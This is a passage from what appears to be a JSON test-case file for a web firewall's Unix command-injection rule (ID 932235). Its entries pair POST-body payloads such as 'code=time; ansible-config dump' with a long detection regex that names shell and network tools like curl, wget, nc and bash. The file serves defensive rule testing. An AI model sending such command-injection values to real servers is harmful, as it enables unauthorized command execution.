\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block ad-hoc ansible commands" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; ansible-config dump\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\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0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block ansible config dump command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; ansible-galaxy collection install community.general\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)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?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|d